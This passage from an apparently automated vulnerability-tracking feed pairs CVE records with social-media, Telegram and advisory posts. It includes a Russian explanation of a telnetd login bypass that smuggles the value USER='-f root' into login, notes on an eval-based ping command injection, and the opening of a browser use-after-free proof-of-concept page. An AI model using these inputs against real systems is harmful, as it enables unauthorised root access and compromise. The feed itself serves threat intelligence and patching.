`-f`.\n- The `control_bots` binary (setuid `admin`, group-executable by `monitor`) is the next link in the chain \u2014 relevant for parts 3/4, not part 2.\n- Hardening would chain three fixes: (a) patch `inetutils-telnetd` to reject env values starting with `-` or to use `--` before user-supplied argv to `login`; (b) make `/home/monitor/bots.conf` mode `0640` owned `monitor:monitor` so `debian` cannot append; (c) replace `eval \"ping -c 1 $target\"` with `ping -c 1 -- \"$target\"`.", "creation_timestamp": "2026-05-08T20:14:44.000000Z"}, {"uuid": "3a1e408c-c9ae-42a8-a622-61cd1e91f6f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mleotgqmgm2f", "content": "\ud83d\udccc CVE-2026-24118 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to wri... https://www.cyberhub.blog/cves/CVE-2026-24118", "creation_timestamp": "2026-05-08T21:37:07.763160Z"}, {"uuid": "0c02c5e8-53d3-439e-b7ed-3135c06c9a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mleq2nofu22m", "content": "\ud83d\udd34 Apache HTTP/2 RCE (CVE-2026-23918) & mod_rewrite EoP (CVE-2026-24072)\n\ud83d\udfe0 PCPJack worm evicts TeamPCP, steals creds\n\ud83d\udfe0 Akira: 38 new victims (health/mfg/edu)\nFull brief: intel.overresearched.net/2026/05/08/c...\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-08T21:59:05.850038Z"}, {"uuid": "87d03fcb-a01d-4a67-8938-bc1de6c52d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mleqj3brke26", "content": "\ud83d\udccc CVE-2026-24781 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function.... https://www.cyberhub.blog/cves/CVE-2026-24781", "creation_timestamp": "2026-05-08T22:07:07.871522Z"}, {"uuid": "cb808edf-b6ef-408d-bb66-b1d07a22ddb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mlicivo2zc2f", "content": "\ud83d\udccc CVE-2026-24120 - vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing att... https://www.cyberhub.blog/cves/CVE-2026-24120", "creation_timestamp": "2026-05-10T08:07:08.032653Z"}, {"uuid": "5ca6766d-3948-4a13-8813-ecb8df7d5dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mlicthjndf2x", "content": "CVE-2026-2413: SQL injection en plugin Ally afecta 400K\n\n400.000 sitios WordPress expuestos por inyecci\u00f3n SQL en plugin Ally de Elementor. \u00bfTu versi\u00f3n es 4.0.3 o menor? Actualiz\u00e1 a 4.1.0 en 5 minutos antes de ...\n\n#sqlinjection #cve20262413 #elementor #allyplugin #seguridadwordpress", "creation_timestamp": "2026-05-10T08:13:05.253035Z"}, {"uuid": "e4b50502-5462-4e9e-a43f-637b32c6cf2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://t.me/codeby_sec/10102", "content": "\ud83d\udee1Apache2 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043d\u043e\u0432\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0434\u044b\u0440\u0443 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 HTTP/2.\n\n\u27a1\ufe0f\u0418\u0437 \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u043e\u0433\u043e, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-23918, \u0434\u0430\u044e\u0449\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (RCE) \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \"double-free\" \u0431\u0430\u0433\u0430.\n\u27a1\ufe0f\u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24072, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 Apache HTTP \u0432\u0435\u0440\u0441\u0438\u0439 2.4.66 \u0438 \u043d\u0438\u0436\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432 .htaccess \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u0432\u043e\u0430\u0442\u0435\u043b\u044f httpd.\n\u25b6\ufe0f\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-28780, \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 mod_proxy_ajp \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 Apache HTTP Server. \u0415\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c mod_proxy_ajp \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c AJP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u043e\u0442\u0432\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 AJP-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 4 \u0431\u0430\u0439\u0442\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u043a\u0443\u0447\u0435 \u0431\u0443\u0444\u0435\u0440\u0430.\n\u25b6\ufe0f\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-29168, \u00ab\u0412\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 mod_md \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 Apache HTTP Server, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 OCSP-\u043e\u0442\u0432\u0435\u0442\u043e\u0432.\n\u25b6\ufe0f\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-33006, \u0410\u0442\u0430\u043a\u0430 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u043c\u043e\u0434\u0443\u043b\u044c mod_auth_digest \u0432 Apache HTTP Server 2.4.66 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 Digest-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0437\u0434\u0435\u0441\u044c, \u043d\u043e \u043f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c:\nsudo apt update && sudo apt upgrade apache2", "creation_timestamp": "2026-05-10T10:03:56.000000Z"}, {"uuid": "7c9f863c-c26e-49e9-91fb-986a69d6c2ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-30T00:00:10.029825Z"}, {"uuid": "fb548eab-114f-4788-9c02-bcaae3f7b3f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/_nTggpaFmwgDqHc5g2Jh3CLK-tIgxHJlvnAJts3-LocfUMs", "content": "", "creation_timestamp": "2026-08-30T00:00:11.355881Z"}, {"uuid": "ddc10a20-dd3e-4d61-9811-0387caa4a94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cyberok_news/180", "content": "\u26a1\ufe0fGNU Inetutils \u2014 \u0432\u0435\u0447\u043d\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \n\n\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 2026 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u00ab\u043a\u0430\u043f\u0441\u0443\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\u00bb: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 telnetd \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 GNU Inetutils (CVE-2026-24061).\n\u0421\u041a\u0418\u041f\u0410 \u0432\u0438\u0434\u0438\u0442 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 \u043e\u043a\u043e\u043b\u043e 500 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435, \u0430 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u2014 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c\u0441\u044f.\n\n\ud83e\udde9 \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0412 GNU Inetutils telnetd (\u0434\u043e 2.7) \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u0443\u044f \u0432\u0432\u043e\u0434 \u043f\u0430\u0440\u043e\u043b\u044f \u2014 \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0438\u043c\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, root). \n\n\u0427\u0435\u0440\u0435\u0437 Telnet NEW-ENVIRON \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c USER=\"-f root\", \u0438 telnetd \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u0442 \u044d\u0442\u043e \u0432 /usr/bin/login, \u0433\u0434\u0435 \u0444\u043b\u0430\u0433 -f \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 autologin \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83c\udf81 \u0412 \u043c\u0430\u0435 2025 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b\u043e\u0441\u044c 10 \u043b\u0435\u0442! \n\n\ud83d\udc7b \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u0412 \u0441\u0435\u0442\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0420\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a.\n\ud83d\udd17GNU InetUtils Security Advisory: remote authentication by-pass in telnetd\n\n\u23f1\ufe0f \u0422\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432\n\u2716\ufe0f 20 \u044f\u043d\u0432 2026 \u2014 Advisory + \u0444\u0438\u043a\u0441 \u043e\u0442 \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0430\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u041f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0432 NVD, CVSS 9.8 \n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 GHSA\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 ITW-\u0441\u0438\u0433\u043d\u0430\u043b (\u0435\u0441\u0442\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438)\n\u2716\ufe0f 22 \u044f\u043d\u0432 2026 \u2014 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 + PoC\n\n\ud83e\uddfe \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438 (IoC)\n\u2022 \u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0435 login-\u0441\u0435\u0441\u0441\u0438\u0438 \u0434\u043b\u044f root \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\u2022 \u0412 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0434\u0430\u043c\u043f\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0440\u0435\u0434\u044b \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, -f, --)\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e GNU Inetutils 2.8 \u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 PATH_LOGIN.\n2. \u041b\u0443\u0447\u0448\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c telnetd (\u0432 2026 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u043e\u043a\u0441\u0438\u0447\u043d\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435) \u0438 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 SSH.\n3. \u0417\u0430\u043a\u0440\u044b\u0442\u044c 23 \u043f\u043e\u0440\u0442 \u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u043e\u0432 (OOB/Management VLAN).\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044e telnet-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 login.\n\n\ud83e\udddf\u200d\u2642\ufe0f \u0414\u0435\u0436\u0430\u0432\u044e \u0438\u0437 \u044d\u043f\u043e\u0445\u0438 Solaris\n\u0415\u0441\u043b\u0438 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u044e\u0436\u0435\u0442 \u0438\u0437 90-\u0445 \u2014 \u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f. \u0412 \u0441\u0442\u0430\u0440\u044b\u0445 UNIX/Solaris \u0443\u0436\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 telnet/rlogin, \u0433\u0434\u0435 \u00ab\u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0435 \u0444\u043b\u0430\u0433\u0438\u00bb \u0434\u043b\u044f \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041d\u0443 \u043a\u0442\u043e \u0438\u0437 \u00ab\u0441\u0442\u0430\u0440\u0438\u0447\u043a\u043e\u0432\u00bb \u043d\u0435 \u043f\u043e\u043c\u043d\u0438\u0442 CVE-2007-0882? \n\nCVE-2026-24061 \u2014 \u044d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u0430\u0440\u0445\u0435\u0442\u0438\u043f \u00ablegacy-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b + \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 autologin\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 Telnet \u0432\u0441\u0451 \u0435\u0449\u0451 \u0436\u0438\u0432 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.", "creation_timestamp": "2026-08-04T13:00:19.540408Z"}, {"uuid": "f673a905-d859-4604-9901-d06f2540bccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24085", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "04f4c1a6-db68-4108-9cf7-ba47eb9f8f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2465", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlnqfne7qw2t", "content": "\ud83d\udfe0 CVE-2026-2465 - High (8.8)\n\nIncorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Intern...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-2465/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-12T11:59:09.848448Z"}, {"uuid": "89f3dfef-263d-42a6-98c6-151072b3a15e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2465", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlnquvpw5o2z", "content": "\ud83d\udfe0 CVE-2026-2465 - High (8.8)\n\nIncorrect Authorization vulnerability in E-Kalite Software Hardware Engineering Design and Intern...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-2465/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-12T12:07:42.556843Z"}, {"uuid": "47f30829-10ce-4301-9954-33b946dd69c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/lyubeka99/e1b282e74e4000fe00489eb03e58a731", "content": "\n\n\n\n  \n  CVE-2026-2441 PoC \u2014 CSSFontFeatureValuesMap UAF\n  \n    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }\n    #log { white-space: pre; font-size: 13px; }\n    .ok   { color: #0f0; }\n    .warn { color: #ff0; }\n    .fail { color: #f44; }\n    .info { color: #08f; }\n  \n\n  \n  \n    @font-feature-values VulnTestFont {\n      @styleset {\n        entry_a: 1;\n        entry_b: 2;\n        entry_c: 3;\n        entry_d: 4;\n        entry_e: 5;\n        entry_f: 6;\n        entry_g: 7;\n        entry_h: 8;\n      }\n    }\n  \n\n\n\nCVE-2026-2441 \u2014 CSSFontFeatureValuesMap UAF PoC\n\n\n\n\n\"use strict\";\n\nconst log = document.getElementById(\"log\");\nfunction print(msg, cls = \"\") {\n  const span = document.createElement(\"span\");\n  span.className = cls;\n  span.textContent = msg + \"\\n\";\n  log.appendChild(span);\n}\n\nprint(\"[*] CVE-2026-2441 PoC starting...\", \"info\");\nprint(\"[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)\", \"info\");\nprint(\"[*] Blink source: css_font_feature_values_map.cc\", \"info\");\nprint(\"\");\n\n// \u2500\u2500\u2500 1. Obtain the CSSOM object 